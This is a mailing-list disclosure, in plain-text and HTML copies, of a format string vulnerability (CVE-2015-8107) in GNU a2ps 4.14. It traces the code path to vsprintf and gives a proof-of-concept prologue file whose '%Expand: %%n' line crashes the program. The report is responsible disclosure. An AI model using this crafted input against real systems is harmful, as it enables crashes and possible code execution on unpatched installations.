Format string bug report in a2ps

김종권 <[email protected]> Thu, 12 Nov 2015 14:40:31 +0900
Newsgroups gmane.comp.printing.a2ps.bugs
Message-ID <[email protected]>
This is a multi-part message in MIME format.
--------------030206020007060206060805
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: quoted-printable

Dear Gnu-a2ps team,

I am writing this to report a format string vulnerability in a2ps.=20
(4.14, which is the latest version)
Also I already have been assigned a CVE identifier from MITRE=20
"CVE-2015-8107", so I want to make public this vulnerability.

- Target Platform
   Linux
- Target Version
   4.14 (Latest Version)

- Vulnerability description
When user runs a2ps with malicious crafted pro(a2ps prologue) file, an=20
attacker can execute arbitrary code.
The function output_file processes the %Expand command in pro file.
The variable `expansion' in the function output_file may hold a=20
malicious input string, which can be used as a format argument of vsprint=
f.

-- Step 1. (ouput.c 524 line)

524     expansion =3D ((char *)
                          expand_user_string (job, FIRST_FILE (job),
                                (const uchar *) "Expand: requirement",
                                (const uchar *) token));

For instance, the variable expansion will point to the string =E2=80=9C%n=
=E2=80=9D when=20
a text line "%Expand: %%\n=E2=80=9D exists in an input pro file.

-- Step 2. (output.c 525 line)

525    output (dest, expansion);

output() is called in line 525, and the argument `expansion' is used as=20
a format string, which can be malicious, as we described in step 1.

-- Step 3. (output.c 873 line)
182    void output (struct output * out, const char *format, ...){
      ...
202   ds_unsafe_cat_vsprintf (out->chunk,format, args);
      ...

The variable format, which can be malicious, can be passed to=20
ds_unsafe_cat_vsprintf() in line 202.

-- step 4. (dstring.c 321 line)
321    void ds_unsafe_cat_vsprintf (struct dstring * ds, const char=20
*format, va_list args){
       ...
326    vsprintf (ds->content + ds->len, format, args);
       ...

The value of format, which can be malicious, is used as an argument of=20
vsprintf in line 326, therefore arbitrary code can be executed.

-- Step 4. Our malicious input
"exploit.pro"
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
% -*-postscript-*-
% PostScript Prologue
%
% $Id: matrix.pro,v 1.1.1.1.2.1 2007/12/29 01:58:27 mhatta Exp $
%

%
% This file is part of a2ps.
%
% This program is free software; you can redistribute it and/or modify
% it under the terms of the GNU General Public License as published by
% the Free Software Foundation; either version 3, or (at your option)
% any later version.
%
% This program is distributed in the hope that it will be useful,
% but WITHOUT ANY WARRANTY; without even the implied warranty of
% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
% GNU General Public License for more details.
%
% You should have received a copy of the GNU General Public License
% along with this program; see the file COPYING.  If not, write to
% the Free Software Foundation, 59 Temple Place - Suite 330,
% Boston, MA 02111-1307, USA.
%
Documentation
The layout is the same as samp(bw)samp, but alternating gray and white=20
lines.
There are two macros defining the behavior:
samp(pro.matrix.cycle)samp defines the length of the cycle (number of whi=
te
and gray lines).  It defaults to 6.
samp(pro.matrix.gray)samp defines the number of gray lines. Default is 3.
EndDocumentation
% -- code follows this line --
%%IncludeResource: file base.ps
%%IncludeResource: file a2ps.hdr
%%BeginResource: procset a2ps-matrix-Prolog 2.0 1

% Function T(ab), jumps to the n-th tabulation in the current line
/T {
  cw mul x0 add y0 moveto
} bind def

% Function n: move to the next line
/n { %def
  /y0 y0 bfs sub store
  % Draw a grey background
  /nline nline 1 add def
% @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
% @@@@@@@@@@@@@@ Malicious user input @@@@@@@@@@@@@@@
%Expand: %%n
% @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

%Expand:  nline #{pro.matrix.cycle:-6} mod #{pro.matrix.gray:-3} ge {
    gsave
      newpath
      x v get y0 currentfont /Descent get currentfontsize mul add moveto
      pw 0 rlineto
      0 bfs rlineto
      pw neg 0 rlineto
      closepath
      0.9 setgray
      fill
    grestore
  } if
  x0 y0 moveto
} bind def

% Function N: show and move to the next line
/N {
  Show
  n
} bind def

/S {
  Show
} bind def

/p {
  false UL
  false BX
%Face: Plain Courier bfs
  Show
} bind def

/sy {
  false UL
  false BX
%Face: Symbol Symbol bfs
  Show
} bind def

/k {
  false UL
  false BX
%Face: Keyword Courier-Oblique bfs
  Show
} bind def

/K {
  false UL
  false BX
%Face: Keyword_strong Courier-Bold bfs
  Show
} bind def

/c {
  false UL
  false BX
%Face: Comment Courier-Oblique bfs
  Show
} bind def

/C {
  false UL
  false BX
%Face: Comment_strong Courier-BoldOblique bfs
  Show
} bind def

/l {
  false UL
  false BX
%Face: Label Helvetica bfs
  Show
} bind def

/L {
  false UL
  false BX
%Face: Label_strong Helvetica-Bold bfs
  Show
} bind def

/str{
  false UL
  false BX
%Face: String Times-Roman bfs
  Show
} bind def

/e{
  false UL
  true BX
%Face: Error Helvetica-Bold bfs
  Show
} bind def

%%EndResource
%%BeginSetup
% The font for line numbering
/f# /Helvetica findfont bfs .6 mul scalefont def
/nline 0 def
%%EndSetup
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Execute
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
~ $ a2ps --version
GNU a2ps 4.14
Written by Akim Demaille, Miguel Santana.

Copyright (c) 1988-1993 Miguel Santana
Copyright (c) 1995-2000 Akim Demaille, Miguel Santana
Copyright (c) 2007- Akim Demaille, Miguel Santana and Masayuki Hatta
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOS=
E.

~ $ a2ps --prologue=3Dexploit test.tex -o test.ps
aborted (core dumped)
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

- How we found the vulnerability

We used a static analyzer, Sparrow[1], to find the format string bug.=20
Our analyzer reported an alarm in a2ps dstring.c 326 line, So we looked=20
for a a2ps source code and found the bug.

Sparrow is a state-of-the-art static analyzer that aims to verify the=20
absence of fatal bugs in C source. Sparrow is designed by Abstract=20
Interpretation and the analysis is sound in design. Sparrow adopts a=20
number of well-founded static analysis techniques[2,3] for scalability,=20
precision, and user convenience.

References
[1]: http://ropas.snu.ac.kr/sparrow/
[2]: Selective Context-Sensitivity Guided by Impact Pre-Analysis. Hakjoo=20
Oh, Wonchan Lee, Kihong Heo, Hongseok Yang, and Kwangkeun Yi. PLDI'14.
[3]: Design and Implementation of Sparse Global Analyses for C-like=20
Languages. Hakjoo Oh, Kihong Heo, Wonchan Lee, Woosuk Lee, and Kwangkeun=20
Yi. PLDI'12

Sincerely, Woosuk Lee & Jong-Gwon Kim

-----------------------------
Woosuk Lee
Ph.D. candidate
ROPAS lab. (http://ropas.snu.ac.kr/)
ROSAEC center (http://rosaec.snu.ac.kr/)
Seoul National University
(tel) +82-2-880-1865
(email) [email protected]
-----------------------------
-----------------------------
Jong-Gwon Kim
Graduate student
ROPAS lab. (http://ropas.snu.ac.kr/)
ROSAEC center (http://rosaec.snu.ac.kr/)
Seoul National University
(tel) +82-2-880-1865
(email) [email protected]
-----------------------------

--------------030206020007060206060805
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

<html>
  <head>
    <meta content=3D"text/html; charset=3DUTF-8" http-equiv=3D"Content-Ty=
pe">
  </head>
  <body text=3D"#000000" bgcolor=3D"#FFFFFF">
    <div class=3D"moz-text-html" lang=3D"x-unicode">
      <div class=3D"moz-text-flowed" style=3D"font-family: -moz-fixed;
        font-size: 14px;" lang=3D"x-unicode">Dear Gnu-a2ps team,<br>
        <br>
        I am writing this to report a format string vulnerability in
        a2ps. (4.14, which is the latest version) <br>
        Also I already have been assigned a CVE identifier from MITRE
        "CVE-2015-8107", so I want to make public this vulnerability. <br=
>
        <br>
        - Target Platform <br>
        =C2=A0 Linux <br>
        - Target Version <br>
        =C2=A0 4.14 (Latest Version) <br>
        <br>
        - Vulnerability description <br>
        When user runs a2ps with malicious crafted pro(a2ps prologue)
        file, an attacker can execute arbitrary code. <br>
        The function output_file processes the %Expand command in pro
        file. <br>
        The variable `expansion' in the function output_file may hold a
        malicious input string, which can be used as a format argument
        of vsprintf. <br>
        <br>
        -- Step 1. (ouput.c 524 line) <br>
        <br>
        524=C2=A0=C2=A0=C2=A0=C2=A0 expansion =3D ((char *) <br>
        =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0 expand_user_string (job, FIRST_FILE
        (job), <br>
        =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 (const uchar *) "Expand:
        requirement", <br>
        =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 (const uchar *) token)); <br>
        <br>
        For instance, the variable expansion will point to the string
        =E2=80=9C%n=E2=80=9D when a text line "%Expand: %%\n=E2=80=9D exi=
sts in an input pro
        file. <br>
        <br>
        -- Step 2. (output.c 525 line) <br>
        <br>
        525=C2=A0=C2=A0=C2=A0 output (dest, expansion); <br>
        <br>
        output() is called in line 525, and the argument `expansion' is
        used as a format string, which can be malicious, as we described
        in step 1. <br>
        <br>
        -- Step 3. (output.c 873 line) <br>
        182=C2=A0=C2=A0=C2=A0 void output (struct output * out, const cha=
r *format,
        ...){ <br>
        =C2=A0=C2=A0=C2=A0=C2=A0 ... <br>
        202=C2=A0=C2=A0 ds_unsafe_cat_vsprintf (out-&gt;chunk,format, arg=
s); <br>
        =C2=A0=C2=A0=C2=A0=C2=A0 ... <br>
        <br>
        The variable format, which can be malicious, can be passed to
        ds_unsafe_cat_vsprintf() in line 202. <br>
        <br>
        -- step 4. (dstring.c 321 line) <br>
        321=C2=A0=C2=A0=C2=A0 void ds_unsafe_cat_vsprintf (struct dstring=
 * ds, const
        char *format, va_list args){ <br>
        =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 ... <br>
        326=C2=A0=C2=A0=C2=A0 vsprintf (ds-&gt;content + ds-&gt;len, form=
at, args); <br>
        =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 ... <br>
        <br>
        The value of format, which can be malicious, is used as an
        argument of vsprintf in line 326, therefore arbitrary code can
        be executed. <br>
        <br>
        -- Step 4. Our malicious input <br>
        "exploit.pro" <br>
        =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D <br>
        % -*-postscript-*- <br>
        % PostScript Prologue <br>
        % <br>
        % $Id: matrix.pro,v 1.1.1.1.2.1 2007/12/29 01:58:27 mhatta Exp $
        <br>
        % <br>
        <br>
        % <br>
        % This file is part of a2ps. <br>
        % <br>
        % This program is free software; you can redistribute it and/or
        modify <br>
        % it under the terms of the GNU General Public License as
        published by <br>
        % the Free Software Foundation; either version 3, or (at your
        option) <br>
        % any later version. <br>
        % <br>
        % This program is distributed in the hope that it will be
        useful, <br>
        % but WITHOUT ANY WARRANTY; without even the implied warranty of
        <br>
        % MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.=C2=A0 See =
the
        <br>
        % GNU General Public License for more details. <br>
        % <br>
        % You should have received a copy of the GNU General Public
        License <br>
        % along with this program; see the file COPYING.=C2=A0 If not, wr=
ite
        to <br>
        % the Free Software Foundation, 59 Temple Place - Suite 330, <br>
        % Boston, MA 02111-1307, USA. <br>
        % <br>
        Documentation <br>
        The layout is the same as samp(bw)samp, but alternating gray and
        white lines. <br>
        There are two macros defining the behavior: <br>
        samp(pro.matrix.cycle)samp defines the length of the cycle
        (number of white <br>
        and gray lines).=C2=A0 It defaults to 6. <br>
        samp(pro.matrix.gray)samp defines the number of gray lines.=C2=A0
        Default is 3. <br>
        EndDocumentation <br>
        % -- code follows this line -- <br>
        %%IncludeResource: file base.ps <br>
        %%IncludeResource: file a2ps.hdr <br>
        %%BeginResource: procset a2ps-matrix-Prolog 2.0 1 <br>
        <br>
        % Function T(ab), jumps to the n-th tabulation in the current
        line <br>
        /T { <br>
        =C2=A0cw mul x0 add y0 moveto <br>
        } bind def <br>
        <br>
        % Function n: move to the next line <br>
        /n { %def <br>
        =C2=A0/y0 y0 bfs sub store <br>
        =C2=A0% Draw a grey background <br>
        =C2=A0/nline nline 1 add def <br>
        % @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ <br>
        % @@@@@@@@@@@@@@ Malicious user input @@@@@@@@@@@@@@@ <br>
        %Expand: %%n <br>
        % @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ <br>
        <br>
        %Expand:=C2=A0 nline #{pro.matrix.cycle:-6} mod #{pro.matrix.gray=
:-3}
        ge { <br>
        =C2=A0=C2=A0 gsave <br>
        =C2=A0=C2=A0=C2=A0=C2=A0 newpath <br>
        =C2=A0=C2=A0=C2=A0=C2=A0 x v get y0 currentfont /Descent get curr=
entfontsize mul add
        moveto <br>
        =C2=A0=C2=A0=C2=A0=C2=A0 pw 0 rlineto <br>
        =C2=A0=C2=A0=C2=A0=C2=A0 0 bfs rlineto <br>
        =C2=A0=C2=A0=C2=A0=C2=A0 pw neg 0 rlineto <br>
        =C2=A0=C2=A0=C2=A0=C2=A0 closepath <br>
        =C2=A0=C2=A0=C2=A0=C2=A0 0.9 setgray <br>
        =C2=A0=C2=A0=C2=A0=C2=A0 fill <br>
        =C2=A0=C2=A0 grestore <br>
        =C2=A0} if <br>
        =C2=A0x0 y0 moveto <br>
        } bind def <br>
        <br>
        % Function N: show and move to the next line <br>
        /N { <br>
        =C2=A0Show <br>
        =C2=A0n <br>
        } bind def <br>
        <br>
        /S { <br>
        =C2=A0Show <br>
        } bind def <br>
        <br>
        /p { <br>
        =C2=A0false UL <br>
        =C2=A0false BX <br>
        %Face: Plain Courier bfs <br>
        =C2=A0Show <br>
        } bind def <br>
        <br>
        /sy { <br>
        =C2=A0false UL <br>
        =C2=A0false BX <br>
        %Face: Symbol Symbol bfs <br>
        =C2=A0Show <br>
        } bind def <br>
        <br>
        /k { <br>
        =C2=A0false UL <br>
        =C2=A0false BX <br>
        %Face: Keyword Courier-Oblique bfs <br>
        =C2=A0Show <br>
        } bind def <br>
        <br>
        /K { <br>
        =C2=A0false UL <br>
        =C2=A0false BX <br>
        %Face: Keyword_strong Courier-Bold bfs <br>
        =C2=A0Show <br>
        } bind def <br>
        <br>
        /c { <br>
        =C2=A0false UL <br>
        =C2=A0false BX <br>
        %Face: Comment Courier-Oblique bfs <br>
        =C2=A0Show <br>
        } bind def <br>
        <br>
        /C { <br>
        =C2=A0false UL <br>
        =C2=A0false BX <br>
        %Face: Comment_strong Courier-BoldOblique bfs <br>
        =C2=A0Show <br>
        } bind def <br>
        <br>
        /l { <br>
        =C2=A0false UL <br>
        =C2=A0false BX <br>
        %Face: Label Helvetica bfs <br>
        =C2=A0Show <br>
        } bind def <br>
        <br>
        /L { <br>
        =C2=A0false UL <br>
        =C2=A0false BX <br>
        %Face: Label_strong Helvetica-Bold bfs <br>
        =C2=A0Show <br>
        } bind def <br>
        <br>
        /str{ <br>
        =C2=A0false UL <br>
        =C2=A0false BX <br>
        %Face: String Times-Roman bfs <br>
        =C2=A0Show <br>
        } bind def <br>
        <br>
        /e{ <br>
        =C2=A0false UL <br>
        =C2=A0true BX <br>
        %Face: Error Helvetica-Bold bfs <br>
        =C2=A0Show <br>
        } bind def <br>
        <br>
        %%EndResource <br>
        %%BeginSetup <br>
        % The font for line numbering <br>
        /f# /Helvetica findfont bfs .6 mul scalefont def <br>
        /nline 0 def <br>
        %%EndSetup <br>
        =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D <br>
        <br>
        Execute <br>
        =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D <br>
        ~ $ a2ps --version <br>
        GNU a2ps 4.14 <br>
        Written by Akim Demaille, Miguel Santana. <br>
        <br>
        Copyright (c) 1988-1993 Miguel Santana <br>
        Copyright (c) 1995-2000 Akim Demaille, Miguel Santana <br>
        Copyright (c) 2007- Akim Demaille, Miguel Santana and Masayuki
        Hatta <br>
        This is free software; see the source for copying conditions.=C2=A0
        There is NO <br>
        warranty; not even for MERCHANTABILITY or FITNESS FOR A
        PARTICULAR PURPOSE. <br>
        <br>
        ~ $ a2ps --prologue=3Dexploit test.tex -o test.ps <br>
        aborted (core dumped) <br>
        =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D <br>
        <br>
        - How we found the vulnerability <br>
        <br>
        We used a static analyzer, Sparrow[1], to find the format string
        bug. Our analyzer reported an alarm in a2ps dstring.c 326 line,
        So we looked for a a2ps source code and found the bug. <br>
        <br>
        Sparrow is a state-of-the-art static analyzer that aims to
        verify the absence of fatal bugs in C source. Sparrow is
        designed by Abstract Interpretation and the analysis is sound in
        design. Sparrow adopts a number of well-founded static analysis
        techniques[2,3] for scalability, precision, and user
        convenience. <br>
        <br>
        References <br>
        [1]: <a class=3D"moz-txt-link-freetext"
          href=3D"http://ropas.snu.ac.kr/sparrow/">http://ropas.snu.ac.kr=
/sparrow/</a>
        <br>
        [2]: Selective Context-Sensitivity Guided by Impact
        Pre-Analysis. Hakjoo Oh, Wonchan Lee, Kihong Heo, Hongseok Yang,
        and Kwangkeun Yi. PLDI'14. <br>
        [3]: Design and Implementation of Sparse Global Analyses for
        C-like Languages. Hakjoo Oh, Kihong Heo, Wonchan Lee, Woosuk
        Lee, and Kwangkeun Yi. PLDI'12 <br>
        <br>
        Sincerely, Woosuk Lee &amp; Jong-Gwon Kim <br>
        <br>
        ----------------------------- <br>
        Woosuk Lee <br>
        Ph.D. candidate <br>
        ROPAS lab. (<a class=3D"moz-txt-link-freetext"
          href=3D"http://ropas.snu.ac.kr/">http://ropas.snu.ac.kr/</a>) <=
br>
        ROSAEC center (<a class=3D"moz-txt-link-freetext"
          href=3D"http://rosaec.snu.ac.kr/">http://rosaec.snu.ac.kr/</a>)
        <br>
        Seoul National University <br>
        (tel) +82-2-880-1865 <br>
        (email) <a class=3D"moz-txt-link-abbreviated"
          href=3D"mailto:[email protected]">[email protected]</a>
        <br>
        ----------------------------- <br>
        ----------------------------- <br>
        Jong-Gwon Kim <br>
        Graduate student <br>
        ROPAS lab. (<a class=3D"moz-txt-link-freetext"
          href=3D"http://ropas.snu.ac.kr/">http://ropas.snu.ac.kr/</a>) <=
br>
        ROSAEC center (<a class=3D"moz-txt-link-freetext"
          href=3D"http://rosaec.snu.ac.kr/">http://rosaec.snu.ac.kr/</a>)
        <br>
        Seoul National University <br>
        (tel) +82-2-880-1865 <br>
        (email) <a class=3D"moz-txt-link-abbreviated"
          href=3D"mailto:[email protected]">[email protected]</a>
        <br>
        ----------------------------- <br>
      </div>
    </div>
  </body>
</html>

--------------030206020007060206060805--